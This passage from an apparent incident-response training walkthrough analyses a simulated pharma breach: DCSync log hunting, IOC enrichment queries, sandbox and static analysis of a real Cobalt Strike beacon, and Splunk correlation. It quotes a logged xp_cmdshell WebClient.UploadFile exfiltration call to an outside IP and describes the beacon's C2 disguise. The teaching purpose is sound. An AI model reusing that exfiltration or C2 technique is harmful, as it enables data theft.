proxy</li><li><strong>Indicator</strong> Anti-forensics — DELETE on SQL AuditLog at 00:15:22Z; blocked by prior Splunk ingestion</li></ul><h4>8. Windows Security Event Log Analysis</h4><p><strong>In VS Code Explorer:</strong> click windows-security/DC01-security.jsonl</p><p>Press Ctrl+F, search 4662 — jumps to the DCSync event. The analyst_note gives the human-readable summary in the file itself:</p><pre>🔴 CRITICAL: DCSync — DS-Replication-Get-Changes + DS-Replication-Get-Changes-All<br>from WORKSTATION IP 10.10.3.22 (WS-IT-LEVI). NOT a DC. NOT in pentest VLAN (10.10.99.x).</pre><pre># All three DCSync events — domain, krbtgt, Administrator<br>jq 'select(.EventID == 4662) | {<br>  time: .TimeCreated, subject: .SubjectUserName, object: .ObjectName<br>}' windows-security/DC01-security.jsonl</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*xlE6AoS-kD4FYW5DmwGVxw.png"></figure><pre>{"time": "2024-11-06T00:48:33Z", "subject": "svc_backup", "object": "DC=lifetechpharma,DC=local"}<br>{"time": "2024-11-06T00:48:44Z", "subject": "svc_backup", "object": "CN=krbtgt,CN=Users,DC=..."}<br>{"time": "2024-11-06T00:48:51Z", "subject": "svc_backup", "object": "CN=Administrator,CN=..."}</pre><p>krbtgt and Administrator DCSync'd — golden ticket capability obtained. Full domain credential rotation required.</p><p><strong>Click </strong><strong>windows-security/SERVER-RD-02-security.jsonl:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r5ZHpES2uPK3SDDVU4yoMg.png"></figure><p>Ctrl+F → 4663 — file access events. Ctrl+F → 5156 — network connection event.</p><pre>jq 'select(.EventID == 4663) | .ObjectName' \<br>  windows-security/SERVER-RD-02-security.jsonl | jq -s 'length'<br># → 47  (47 formula files accessed)<br>jq 'select(.EventID == 5156) | {<br>  time: .TimeCreated, process: (.Application | split("\\\\") | last),<br>  src: .SourceAddress, dst: .DestAddress, dst_port: .DestPort<br>}' windows-security/SERVER-RD-02-security.jsonl<br># → PowerShell → 198.51.100.44:443 at 00:14:14Z</pre><p>Three independent sources — SQL audit (00:13:54Z command issued), NGFW flow (00:14:14Z bytes transferred), Windows Security EID 5156 (00:14:14Z connection initiated) — triangulate to the same 20-second window.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Account</strong> svc_backup — DCSync actor; source IP 10.10.3.22 (non-DC workstation)</li><li><strong>IP (internal)</strong> 10.10.3.22 — WS-IT-LEVI; attacker pivot host issuing DCSync from workstation</li><li><strong>Object</strong> krbtgt — DCSync'd at 00:48:44Z; golden ticket capability obtained</li><li><strong>Object</strong> Administrator — DCSync'd at 00:48:51Z; full domain compromise</li><li><strong>IP</strong> 198.51.100.44:443 — Exfil connection via PowerShell; EID 5156 at 00:14:14Z</li><li><strong>Count</strong> 47 formula files — Accessed via EID 4663 in USPartner2024 share</li></ul><h4>9. Cross-File Pivot — VS Code Global Search</h4><p>VS Code’s Ctrl+Shift+F searches across every open file simultaneously. Use it to verify IOC presence across all evidence in seconds — no SIEM needed for these basic pivots.</p><p><strong>Pivot on the exfil IP:</strong></p><p>Ctrl+Shift+F → 198.51.100.44:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qD5I2ewZTvBRksb7P9Zt5A.png"></figure><pre>ngfw-flows.csv           line 12: ...10.10.2.15,198.51.100.44,443,...399481224...<br>dns-queries.csv          line 10: ...sys-update-cdn.net,A,198.51.100.44...<br>sql-audit.jsonl          line 4:  ...WebClient.UploadFile...198.51.100.44/recv...<br>SERVER-RD-02-security    line 23: ..."DestAddress":"198.51.100.44"...</pre><p>Four files, four hits, one IP. The full exfiltration chain is visible in one search.</p><p><strong>Pivot on the compromised account:</strong></p><p>Ctrl+Shift+F → svc_backup:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8CUk7R4lSjYg01UIH0chg.png"></figure><pre>DC01-security.jsonl       lines 7-9:   DCSync events<br>SERVER-RD-02-security     lines 1-12:  SMB logon + file access + exfil<br>sql-audit.jsonl           all 6 lines: full xp_cmdshell chain</pre><p><strong>Pivot on the C2 domain:</strong></p><p>Ctrl+Shift+F → telemetry-cdn-services.biz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WeNgTuMzhjm9Pl_lXXGmvQ.png"></figure><pre>dns-queries.csv           lines 12-23: 11 beacon queries (6 from WS-IT-LEVI, 4 from WS-CFO-01, 1 missing)</pre><p><strong>Pivot on the attacker source IP (AiTM phishing + VPN access):</strong></p><p>Ctrl+Shift+F → 185.220.101.47:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MHyXMsFanJsG_dvdWSnKqw.png"></figure><pre>azure-ad/signin-p.levi.json          line 18: suspicious sign-in from Istanbul — token replay, no MFA<br>vpn/anyconnect-2024-10-24.log        line 4:  VPN authentication as p.levi, assigned 10.10.3.22<br>palo-alto/dns-queries.csv            line 1:  attacker queried vpn.lifetechpharma.com 1 min before login</pre><p>One IP ties together AiTM credential theft, VPN infiltration, and the recon that preceded it.</p><p>The full attack chain — AiTM phishing → VPN access → formula exfiltration → DCSync → CFO infection — is navigable via these four global searches without opening a SIEM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n_vokO1vkbqN5O709MFF-w.png"></figure><p>Search termAttack phase covered185.220.101.47Initial access: AiTM phishing, VPN infiltration, attacker recontelemetry-cdn-services.bizPersistence: C2 beaconing from both infected hostssvc_backupLateral movement: SMB, xp_cmdshell chain, DCSync198.51.100.44Exfiltration: NGFW flow, DNS lookup, SQL upload command, EID 5156</p><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 198.51.100.44 — Confirmed in 4 files: ngfw-flows, dns-queries, sql-audit, SERVER-RD-02-security</li><li><strong>Account</strong> svc_backup — Confirmed in 3 files: DC01-security (DCSync), SERVER-RD-02-security (SMB+exfil), sql-audit (xp_cmdshell)</li><li><strong>Domain</strong> telemetry-cdn-services.biz — Confirmed in dns-queries (9 beacons) and VPN log (C2 during session)</li><li><strong>Timestamp</strong> 00:13:54Z – 00:14:14Z — 20-second exfil window triangulated across SQL, NGFW, and EID 5156</li></ul><h4>10. IOC Enrichment — REST Client</h4><p>Create one .http file that holds every API call. VS Code's REST Client extension puts a <strong>Send Request</strong> link above each block — click it, the response appears in a split pane on the right. No curl, no terminal, no context switch.</p><p><strong>Create the file:</strong></p><p>Press Ctrl+N, then Ctrl+Shift+P → <strong>Save As</strong> → 03-analysis/ioc-queries.http</p><p>Paste the following:</p><pre>### IOC Enrichment — PROJ-2024-001<br>### Click "Send Request" above any block — response opens in the right pane<br>### Set keys in VS Code Settings &gt; REST Client &gt; Environment Variables<br>### or use system env: @VT_KEY = {{$env VT_API_KEY}}<br><br>@VT_KEY     = your_virustotal_api_key_here<br>@SHODAN_KEY = your_shodan_api_key_here<br><br># ── VirusTotal ──────────────────────────────────────────────────────<br><br>### VT — Primary C2 IP<br>GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Secondary C2 / exfil IP<br>GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Attacker VPN source<br>GET https://www.virustotal.com/api/v3/ip_addresses/185.220.101.47<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Primary C2 domain<br>GET https://www.virustotal.com/api/v3/domains/telemetry-cdn-services.biz<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — AiTM phishing page domain<br>GET https://www.virustotal.com/api/v3/domains/mfa-lifetechpharma.com<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — CFO phishing delivery domain<br>GET https://www.virustotal.com/api/v3/domains/globalcontracts-secure.net<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — svchost32.exe binary hash<br>GET https://www.virustotal.com/api/v3/files/3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Imphash pivot (find related samples compiled from same source)<br>GET https://www.virustotal.com/api/v3/intelligence/search?query=imphash%3A3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d<br>x-apikey: {{VT_KEY}}<br><br># ── Shodan ──────────────────────────────────────────────────────────<br><br>### Shodan — Primary C2 IP (ports, services, hosting org)<br>GET https://api.shodan.io/shodan/host/203.0.113.87?key={{SHODAN_KEY}}<br><br>###<br><br>### Shodan — Exfil IP<br>GET https://api.shodan.io/shodan/host/198.51.100.44?key={{SHODAN_KEY}}<br><br># ── Certificate Transparency ─────────────────────────────────────────<br><br>### crt.sh — Find all domains using certs issued to primary C2 IP<br>GET https://crt.sh/?q=203.0.113.87&amp;output=json<br><br>###<br><br>### crt.sh — Cert history for primary C2 domain<br>GET https://crt.sh/?q=telemetry-cdn-services.biz&amp;output=json<br><br># ── RDAP ────────────────────────────────────────────────────────────<br><br>### RDAP — AiTM phishing domain registration date<br>GET https://rdap.org/domain/mfa-lifetechpharma.com<br><br>###<br><br>### RDAP — CFO phishing delivery domain<br>GET https://rdap.org/domain/globalcontracts-secure.net<br><br># ── Passive DNS (no key required) ───────────────────────────────────<br><br>### VT Passive DNS — historical resolutions for primary C2 IP (uses existing VT key)<br>GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87/resolutions<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT Passive DNS — historical resolutions for exfil IP<br>GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44/resolutions<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### RIPEstat — DNS history for primary C2 IP (no key, no rate limit for training)<br>GET https://stat.ripe.net/data/dns-history/data.json?resource=203.0.113.87<br><br>###<br><br>### RIPEstat — BGP routing info: ASN, prefix, country for C2 IP<br>GET https://stat.ripe.net/data/prefix-overview/data.json?resource=203.0.113.87<br><br>###<br><br>### RIPEstat — BGP routing info for exfil IP<br>GET https://stat.ripe.net/data/prefix-overview/data.json?resource=198.51.100.44<br><br># ── WHOIS / RDAP (no key required) ──────────────────────────────────<br><br>### ARIN RDAP — IP block owner, ASN, abuse contact for C2 IP<br>GET https://rdap.arin.net/registry/ip/203.0.113.87<br><br>###<br><br>### ARIN RDAP — IP block owner for exfil IP<br>GET https://rdap.arin.net/registry/ip/198.51.100.44<br><br>###<br><br>### ARIN RDAP — IP block owner for attacker VPN source<br>GET https://rdap.arin.net/registry/ip/185.220.101.47<br><br>###<br><br>### RDAP — C2 domain registration: registrar, date, registrant<br>GET https://rdap.org/domain/telemetry-cdn-services.biz<br><br>###<br><br>### RDAP — Exfil domain registration<br>GET https://rdap.org/domain/sys-update-cdn.net</pre><p><strong>Using the response pane:</strong></p><p>After clicking <strong>Send Request</strong> on the VT IP block, the right pane shows the full JSON response. Use Ctrl+F in the response pane to find:</p><ul><li>malicious → "malicious": 12</li><li>tags → ["C2", "malware"]</li><li>as_owner → "Hostwinds LLC"</li></ul><p>For the crt.sh response, Ctrl+F → name_value to see all co-hosted domains. cdn-telemetry-update.biz and windows-cdn-service.net appear — new IOCs not yet seen in the org's DNS logs. Switch to dns-queries.csv and Ctrl+F to check immediately.</p><p><strong>Commit the </strong><strong>.http file — it is a reproducible audit trail of every enrichment query:</strong></p><pre>git add 03-analysis/ioc-queries.http<br>git commit -m "PROJ-2024-001: IOC enrichment queries — VT, Shodan, crt.sh, RDAP"</pre><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 203.0.113.87 — Primary C2; VT: 12 malicious detections, ASN: Hostwinds LLC</li><li><strong>IP</strong> 198.51.100.44 — Secondary C2 / exfil endpoint</li><li><strong>IP</strong> 185.220.101.47 — Attacker VPN source</li><li><strong>Domain</strong> telemetry-cdn-services.biz — Primary C2 domain</li><li><strong>Domain</strong> mfa-lifetechpharma.com — AiTM phishing domain; registered 2024-10-18</li><li><strong>Domain</strong> globalcontracts-secure.net — CFO phishing delivery domain</li><li><strong>Domain</strong> cdn-telemetry-update.biz — New; discovered via crt.sh pivot on C2 IP</li><li><strong>Domain</strong> windows-cdn-service.net — New; discovered via crt.sh pivot on C2 IP</li><li><strong>Hash (SHA256)</strong> 3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e — svchost32.exe dropper</li><li><strong>Hash (imphash)</strong> 3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d — Pivot on VT to find related samples</li></ul><h4>11. Sandbox Analysis — Submit the Binary</h4><blockquote>Real Cobalt Strike sample used in Steps 11–12 All IPs, domains, and hashes elsewhere in this walkthrough are <strong>synthetic</strong> — invented for training and not queryable on threat intel platforms. Steps 11 and 12 are the exception: they use a <strong>real Cobalt Strike beacon</strong> (trojan.remusstealer/cobalt, 48/75 detections on VirusTotal, SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9) so you can practice sandbox submission and binary analysis against a file with genuine behavior. The C2 IP, HTTP profile, and PE metadata in these two steps reflect the real sample. All other scenario values (log IPs, exfil IPs, domains) remain fictional.</blockquote><p>Submit svchost32.exe (recovered via CrowdStrike RTR) to a sandbox. ANY.RUN is the recommended choice for training — it is interactive and lets you watch execution in real time.</p><p><strong>Submission (ANY.RUN):</strong></p><ol><li>Navigate to <a href="https://app.any.run/">app.any.run</a> → <strong>New Task</strong> → <strong>Upload</strong></li><li>Upload svchost32.exe (SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9)</li><li>Environment: <strong>Windows 10 x64</strong>, <strong>User mode</strong> (realistic CFO context)</li><li>Network mode: <strong>Real with IDS</strong> — this beacon makes live HTTPS connections</li><li>Timeout: <strong>120 seconds</strong> — beacon contacts C2 within the first minute</li><li>Click <strong>Run</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WYRLofzCq0I_GY_w7ozZzw.png"></figure><p><strong>Download the report to VS Code:</strong></p><p>After execution completes, click <strong>Export</strong> → <strong>JSON</strong> in ANY.RUN. Save it as:</p><pre>03-analysis/sandbox-svchost32-anyrun.json</pre><p><strong>Open in VS Code:</strong> press Shift+Alt+F to format. Use Ctrl+Shift+O (Outline) to navigate, Ctrl+F to search:</p><p>Search term What you find<br>destination_ip91.211.251.245 — real C2 IP, port 443<br>urlhttps://91.211.251.245/ga.js — Malleable C2 profile mimicking Google AnalyticsCookieBase64-encoded beacon metadata in the HTTP Cookie header<br>User-AgentMozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS UA string<br>ProxyServerBeacon installs proxy settings pointing to C2<br>long-sleepsVT tag — beacon sleeps between check-ins (configurable interval)</p><p><strong>The Cobalt Strike Malleable C2 profile:</strong> the beacon GETs /ga.js — a path that mimics Google Analytics JavaScript. The Cookie header carries AES-encrypted metadata (victim hostname, PID, username) base64-encoded. The response body delivers shellcode or tasks. A defender looking only at the URL sees legitimate-looking traffic; the anomaly is the 443 connection to a non-Google IP.</p><p>Add the C2 IP to ioc-queries.http and click <strong>Send Request</strong> on the VT and Shodan blocks to pivot immediately.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Hash (SHA256)</strong> 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon; 48/75 VT detections</li><li><strong>Hash (MD5)</strong> cd59d54a7af500f96aa0347bb5daf077 — same sample</li><li><strong>IP</strong> 91.211.251.245:443 — real C2 server; HTTPS; confirmed in sandbox network traffic</li><li><strong>URL</strong> https://91.211.251.245/ga.js — Malleable C2 endpoint; mimics Google Analytics</li><li><strong>Indicator</strong> Cookie-encoded beacon — AES-encrypted victim metadata in HTTP Cookie header</li><li><strong>Indicator</strong> long-sleeps — beacon interval; time between C2 check-ins</li></ul><h4>12. Static Binary Analysis — Hex Editor + Terminal</h4><p><strong>Open the binary in VS Code Hex Editor:</strong></p><p>In VS Code Explorer, right-click svchost32.exe → <strong>Open With</strong> → <strong>Hex Editor</strong></p><p>The file opens as a hex+ASCII dual-pane view. The ASCII column on the right makes string hunting visual — scroll through it and strings like /ga.js and Mozilla/4.0 are readable directly without running strings.</p><p><strong>Navigate to the PE timestamp:</strong></p><p>Press Ctrl+G → type 3C → Enter. This is the e_lfanew field (PE header pointer). Read the 4-byte little-endian value, convert to decimal — that is the offset to the PE signature (PE\0\0). Go to that offset + 8 for the TimeDateStamp field.</p><p>For precise extraction, split the screen: keep Hex Editor on the left, open the integrated terminal on the right:</p><pre>python3 -c "<br>import pefile, datetime, os<br>pe = pefile.PE('svchost32.exe')<br>ts = pe.FILE_HEADER.TimeDateStamp<br>print(f'Compile timestamp : {datetime.datetime.fromtimestamp(ts, datetime.UTC)} UTC')<br>print(f'File size on disk : {os.path.getsize(\"svchost32.exe\"):,} bytes')<br>print(f'PE SizeOfImage    : {pe.OPTIONAL_HEADER.SizeOfImage:,} bytes')<br>overlay = os.path.getsize('svchost32.exe') - pe.OPTIONAL_HEADER.SizeOfImage<br>if overlay &gt; 0:<br>    print(f'Overlay detected  : {overlay:,} bytes after PE end')<br>print(f'Architecture      : {\"x64\" if pe.FILE_HEADER.Machine == 0x8664 else \"x86\"}')<br>"</pre><p>Output:</p><pre>Compile timestamp : 2026-05-15 13:55:55 UTC<br>File size on disk : 783,320 bytes<br>Overlay detected  : present<br>Architecture      : x64</pre><p>The PE timestamp (2026-05-15) is plausible and recent — this binary was freshly compiled, not timestomped. The presence of an <strong>overlay</strong> (data appended after the PE image end) is a Cobalt Strike loader signature: the encrypted beacon shellcode is stored in the overlay and unpacked at runtime.</p><p><strong>Extract C2 strings:</strong></p><pre>strings -n 8 svchost32.exe | grep -E "(https?://|/ga\.js|Mozilla|Cookie|User-Agent|Cache-Control)"</pre><p>Output includes:</p><pre>/ga.js<br>Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1)<br>Cache-Control: no-cache</pre><p>The /ga.js path and the MSIE 8.0 User-Agent are configuration strings baked into the Cobalt Strike beacon's Malleable C2 profile at compile time. Any sample sharing these exact strings was built from the same profile.</p><p><strong>Check imports — Cobalt Strike loaders minimise their import table:</strong></p><pre>python3 -c "<br>import pefile<br>pe = pefile.PE('svchost32.exe')<br>print(f'Architecture: {hex(pe.FILE_HEADER.Machine)}')<br>if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):<br>    for lib in pe.DIRECTORY_ENTRY_IMPORT:<br>        fns = [i.name.decode() if i.name else f'ord_{i.ordinal}' for i in lib.imports]<br>        print(f'{lib.dll.decode()}: {fns}')<br>else:<br>    print('No standard import table — uses dynamic API resolution (common in CS loaders)')<br>"</pre><p>A Cobalt Strike loader typically has a minimal or absent import table — it resolves APIs at runtime using LoadLibrary/GetProcAddress or custom hash-walking to avoid static analysis. If the import table is empty, that itself is the finding.</p><p><strong>Pivot on the Malleable C2 profile strings</strong> — search VT for other samples using the same profile:</p><p>Add to ioc-queries.http:</p><pre>### VT — search for samples sharing the same Malleable C2 User-Agent string<br>GET https://www.virustotal.com/api/v3/intelligence/search?query=content%3A%22MSIE+8.0%22+content%3A%22%2Fga.js%22+type%3Apeexe<br>x-apikey: {{VT_KEY}}</pre><p><strong>Found IOCs</strong></p><ul><li><strong>Hash (SHA256)</strong> 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon</li><li><strong>Hash (MD5)</strong> cd59d54a7af500f96aa0347bb5daf077</li><li><strong>IP</strong> 91.211.251.245 — C2 server; confirmed in binary strings and sandbox network traffic</li><li><strong>URL pattern</strong> /ga.js — Malleable C2 endpoint; Google Analytics impersonation</li><li><strong>String</strong> Mozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS User-Agent; pivot on VT content search</li><li><strong>Indicator</strong> Overlay section — encrypted shellcode stored after PE image end; Cobalt Strike loader signature</li><li><strong>Indicator</strong> Minimal import table — dynamic API resolution; evades import-based static detection13. Infrastructure Pivot — REST Client + Global Search</li></ul><h4>13. Infrastructure Pivot — REST Client + Global Search</h4><p>The ioc-queries.http file already contains the Shodan, crt.sh, and RDAP blocks. Click through them.</p><p><strong>For the crt.sh response:</strong> press Ctrl+F in the response pane, search name_value. Two new domains appear: cdn-telemetry-update.biz and windows-cdn-service.net.</p><p><strong>Immediately pivot in VS Code global search:</strong></p><p>Press Ctrl+Shift+F, type cdn-telemetry-update:</p><pre>palo-alto/dns-queries.csv  →  (no results)</pre><p>Not in the org’s DNS logs — but add both new domains to the IOC list in case they appear in a broader hunt.</p><p><strong>For the RDAP response</strong> (AiTM domain): Ctrl+F → registration → date 2024-10-18. The phishing email was sent 4 days later. Targeted, purpose-built infrastructure.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Domain</strong> cdn-telemetry-update.biz — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs</li><li><strong>Domain</strong> windows-cdn-service.net — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs</li><li><strong>Date</strong> 2024-10-18 — Registration date of mfa-lifetechpharma.com; 4 days before phishing</li></ul><h4>14. Splunk Correlation (SIEM Validation)</h4><p>Load the evidence into Splunk from the VS Code integrated terminal to validate that the Sigma rules fire on the real evidence:</p><pre>/opt/splunk/bin/splunk add oneshot sysmon/WS-CFO-01-sysmon.jsonl \<br>  -sourcetype sysmon_json -index endpoint -host WS-CFO-01<br>/opt/splunk/bin/splunk add oneshot windows-security/DC01-security.jsonl \<br>  -sourcetype wineventlog -index wineventlog -host DC01<br>/opt/splunk/bin/splunk add oneshot windows-security/SERVER-RD-02-security.jsonl \<br>  -sourcetype wineventlog -index wineventlog -host SERVER-RD-02<br>/opt/splunk/bin/splunk add oneshot palo-alto/ngfw-flows.csv \<br>  -sourcetype pan:traffic -index firewall -host pa-3260<br>/opt/splunk/bin/splunk add oneshot palo-alto/dns-queries.csv \<br>  -sourcetype pan:dns -index firewall -host pa-3260<br>/opt/splunk/bin/splunk add oneshot sql-audit/SERVER-RD-02-sql-audit.jsonl \<br>  -sourcetype mssql_audit -index database -host SERVER-RD-02</pre><p><strong>Query 1 — triage: C2 IPs across all indexes:</strong></p><pre>index=* (203.0.113.87 OR 198.51.100.44) earliest=-30d<br>| stats count by host, sourcetype, index<br>| sort -count</pre><p><strong>Query 2 — DCSync from non-DC (DET-002 validation):</strong></p><pre>index=wineventlog EventCode=4662<br>  ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}"<br>| where NOT match(IpAddress, "^10\.10\.1\.(10|11)$")<br>| table _time, host, SubjectUserName, IpAddress, ObjectName, Properties</pre><p><strong>Query 3 — service account off-hours (DET-003 validation):</strong></p><pre>index=wineventlog EventCode=4624 LogonType=3<br>  TargetUserName=svc_backup<br>| eval hour=strftime(_time, "%H")<br>| where hour &lt; 6 OR hour &gt; 22<br>| table _time, host, TargetUserName, IpAddress | sort _time</pre><p><strong>Query 4 — exfil scope:</strong></p><pre>index=wineventlog EventCode=4663 ObjectName="*USPartner2024*"<br>| stats count as files_accessed, min(_time) as first, max(_time) as last by SubjectUserName, host</pre><p><strong>Query 5 — full 24-day timeline:</strong></p><pre>index=* earliest=2024-10-22 latest=2024-11-16<br>  (host=WS-IT-LEVI OR host=WS-CFO-01 OR host=SERVER-RD-02 OR host=DC01)<br>| eval summary=coalesce(Message, Statement, query, CommandLine, "event")<br>| table _time, host, sourcetype, summary | sort _time</pre><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 203.0.113.87 — SIEM-validated; C2 traffic confirmed across endpoint and network indexes</li><li><strong>IP</strong> 198.51.100.44 — SIEM-validated; exfil traffic confirmed across endpoint and network indexes</li><li><strong>Account</strong> svc_backup — DET-002: DCSync from 10.10.3.22 (non-DC); DET-003: off-hours logon</li><li><strong>File pattern</strong> USPartner2024* (47 files) — DET-004: bulk access by svc_backup on SERVER-RD-02</li><li><strong>Indicator</strong> Off-hours logon — EID 4624 / LogonType 3 outside 06:00–22:00 window</li></ul><h4>Commit all analysis artifacts</h4><pre>git add 03-analysis/<br>git commit -m "PROJ-2024-001: evidence analysis — VS Code investigation complete; REST Client queries, RBQL, binary hex analysis, DCSync confirmed, exfil 381MB corroborated in 3 sources"</pre><p>The timeline in Step R2 is now fully supported. Every event in the table has a source log opened in VS Code, a query or search that confirmed it, and a REST Client or terminal command a third party can replay independently.</p><h3>Step R2: Timeline — Two Paths, One Actor</h3><h4>1. Open the timeline file</h4><pre>nano 03-analysis/timeline/timeline.md</pre><p>The template has a header block and a markdown table. Fill the header first:</p><pre>Project: PROJ-2024-001<br>Analyst: [your name]<br>Last updated: 2024-11-15<br>Time range: 2024-10-18 – 2024-11-15<br>Evidence label key: CONFIRMED / CORROBORATED / INFERRED / HYPOTHESIZED / GAP</pre><p>Then add one row per event. Every row needs: timestamp (UTC), host, what happened, which log source you saw it in, an evidence label, and the ATT&amp;CK technique. If you do not have a technique yet, leave it blank and come back — do not skip the label.</p><h4>2. Add events in chronological order</h4><p>The timeline reveals what the CFO alert obscured: the breach started 24 days earlier through a completely different person.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*121cvZ2ZIHZLNAmQA78l9Q.png"></figure><ol><li><strong>2024–10–18 — External<br></strong>lifetechpharma-corp[.]eu registered as a typosquat domain.<br><strong>Source:</strong> OSINT<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1583.001<br><strong>Notes:</strong> Pre-attack infrastructure preparation.</li><li><strong>2024–10–22 11:23 — Exchange<br></strong>Phishing email sent to p.levi: <strong>“MFA Re-enrollment Required”</strong> with AiTM HTML attachment.<br><strong>Source:</strong> M365 ATP<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1566.001<br><strong>Notes:</strong> ATP SCL=4, delivered; threshold was 5.</li><li><strong>2024–10–22 11:31 — WS-IT-LEVI<br></strong>Unknown activity — <strong>GAP-001 begins</strong>.<br><strong>Source:</strong> — <br><strong>Label:</strong> GAP<br><strong>ATT&amp;CK:</strong> — <br><strong>Notes:</strong> Sysmon forwarder stopped.</li><li><strong>2024–10–24 02:17 — Azure AD + VPN</strong>VPN login as p.levi from Istanbul, Turkey, using hosting/VPS ASN. No MFA challenge recorded. Session lasted 1h 12min.<br><strong>Source:</strong> Azure AD sign-in<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1557, T1133<br><strong>Notes:</strong> 4:17 AM local time; Paz Levi lives in Rehovot.</li><li><strong>2024–10–24 02:19 — DC01<br></strong>EID 4624: network logon for svc_backup from WS-IT-LEVI / 10.10.3.22. Service account used outside business hours.<br><strong>Source:</strong> Windows Security / Splunk<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1078.002<br><strong>Notes:</strong> svc_backup has Domain Admin rights.</li><li><strong>2024–10–25 03:41 — SERVER-FIN-01<br></strong>svc_backup accessed \\SERVER-FIN-01\\FinanceReports\\2024\\.<br><strong>Source:</strong> File share audit, partial<br><strong>Label:</strong> CORROBORATED<br><strong>ATT&amp;CK:</strong> T1039<br><strong>Notes:</strong> Log incomplete — access timestamp only, not filenames.</li><li><strong>2024–11–01 09:14 — WS-IT-LEVI<br>GAP-001 ends.</strong> First DNS query to telemetry-cdn-services[.]biz resolving to 203.0.113.87. First C2 beacon from this host.<br><strong>Source:</strong> Palo Alto DNS<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1071.001<br><strong>Notes:</strong> Sysmon service and forwarder restarted at the same time — probable anti-forensics.</li><li><strong>2024–11–01 09:18 — SERVER-RD-02<br></strong>EID 4624: svc_backup SMB Type 3 logon from WS-IT-LEVI.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1021.002<br><strong>Notes:</strong> Occurred four minutes after C2 reconnection.</li><li><strong>2024–11–06 02:09 — SERVER-RD-02<br></strong>EID 4624: svc_backup SMB logon from WS-IT-LEVI.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1021.002<br><strong>Notes:</strong> Off-hours access.</li><li><strong>2024–11–06 02:10–02:14 — SERVER-RD-02<br></strong>EID 4663 ×47: svc_backup accessed all 47 files in \\USPartner2024\\. Read activity occurred and modified timestamps were updated.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1039<br><strong>Notes:</strong> Each file was individually accessed; timestamp modification suggests deliberate metadata manipulation.</li><li><strong>2024–11–06 02:14 — SERVER-RD-02<br></strong>EID 5156: outbound HTTPS from SERVER-RD-02 to external IP over port 443 during the file access window.<br><strong>Source:</strong> Windows Security + firewall<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1041<br><strong>Notes:</strong> Destination IP confirmed in Palo Alto NGFW log: 198.51.100.44; separate C2 from primary.</li><li><strong>2024–11–06 02:48 — DC01<br></strong>EID 4662: svc_backup requested DS-Replication-Get-Changes on DC01.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1003.006<br><strong>Notes:</strong> <strong>DCSync indicator.</strong> Pentest scope did not include DCSync. Pentest VLAN is 10.10.99.0/24; this event came from 10.10.3.22.</li><li><strong>2024–11–15 17:58 — Exchange<br></strong>Phishing email sent to m.cohen, the CFO: <strong>“Q4-2024 Licensing Agreement”</strong> with .xlsm attachment. SPF, DKIM, and DMARC all failed.<br><strong>Source:</strong> M365 Message Trace<br><strong>Label:</strong> 